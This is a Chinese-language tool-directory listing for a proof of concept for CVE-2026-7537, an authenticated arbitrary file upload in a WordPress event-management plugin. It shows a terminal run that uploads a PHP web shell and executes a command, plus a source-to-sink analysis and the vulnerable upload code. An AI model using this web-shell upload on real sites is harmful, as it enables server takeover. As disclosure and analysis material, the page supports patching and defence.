Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-7537 — MDJM Event Management <= 1.7.8.3 - 已认证(管理员及以上)任意文件上传,经由 'mdjm_email_upload_file' 参数 | Kitploit
工具/GitHubGitHub/d0n601/cve-2026-7537
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubd0n601/cve-2026-7537

CVE-2026-7537

MDJM Event Management <= 1.7.8.3 - 已认证(管理员及以上)任意文件上传,经由 'mdjm_email_upload_file' 参数

查看仓库
34个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MDJM Event Management <= 1.7.8.3 - 已认证(管理员及以上)通过 'mdjm_email_upload_file' 参数实现任意文件上传

WordPress MDJM Event Management 插件(1.7.8.3 及更早版本)存在任意文件上传漏洞,允许已认证的管理员向服务器上传恶意 PHP 文件,进而可能导致远程代码执行。

TL;DR 漏洞利用

提供了一个 POC CVE-2026-7537.py,用于演示已认证攻击者上传 shell.php 并执行远程代码:

root@kitploit:~
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

技术描述

该漏洞存在于通信功能中的 mdjm_send_comm_email() 函数中。上传功能在处理电子邮件通信的文件附件时缺乏适当的文件验证。这使得拥有 mdjm_comms_send 能力(默认为管理员和 MDJM 管理员)的已认证用户能够上传任意文件,包括可在服务器上执行的 PHP 文件。

攻击路径分析

源头:来自 $_FILES['mdjm_email_upload_file'] 的用户输入 汇聚点:comms-functions.php#L248 处的 move_uploaded_file($tmp_path, $file_path)

该漏洞产生的原因如下:

  1. 路由注册:通过 comms-functions.php#L24,拥有 send_comms 能力的用户即可访问通信表单。
  2. 能力检查:通过 class-mdjm-permissions.php#L626 将 mdjm_comms_send 能力授予拥有 manage_mdjm 权限的用户。
  3. 默认角色权限:DJ 角色(class-mdjm-roles.php#L97-L104)默认并不拥有 mdjm_comms_send 能力 - 只有管理员才拥有。
  4. 操作处理:表单提交通过 admin-actions.php#L26 处的 mdjm_process_actions() 函数进行处理。
  5. 处理器调用:该操作触发注册在 comms-functions.php#L300 的 mdjm_send_comm_email() 函数。
  6. Nonce 验证:虽然通过 comms-functions.php#L235 处的 nonce 验证提供了 CSRF 防护,但随后并未进行文件验证。
  7. 输入处理:来自 $_FILES['mdjm_email_upload_file'] 的用户可控文件数据在 处未经验证即被直接处理。

漏洞代码位置

文件:includes/admin/communications/comms-functions.php#L241-L251

root@kitploit:~
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
    $upload_dir = wp_upload_dir();

    $file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
    $file_path = $upload_dir['path'] . '/' . $file_name;
    $tmp_path  = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated

    if ( move_uploaded_file( $tmp_path, $file_path ) ) {
        $attachments[] = $file_path;
    }
}
下载工具
comms-functions.php#L241-L251
  • 文件处理:文件名直接取自用户输入,未经过净化处理或扩展名校验。
  • 文件存储:文件通过 move_uploaded_file() 保存到 WordPress 上传目录(/wp-content/uploads/YYYY/MM/),且没有任何安全检查。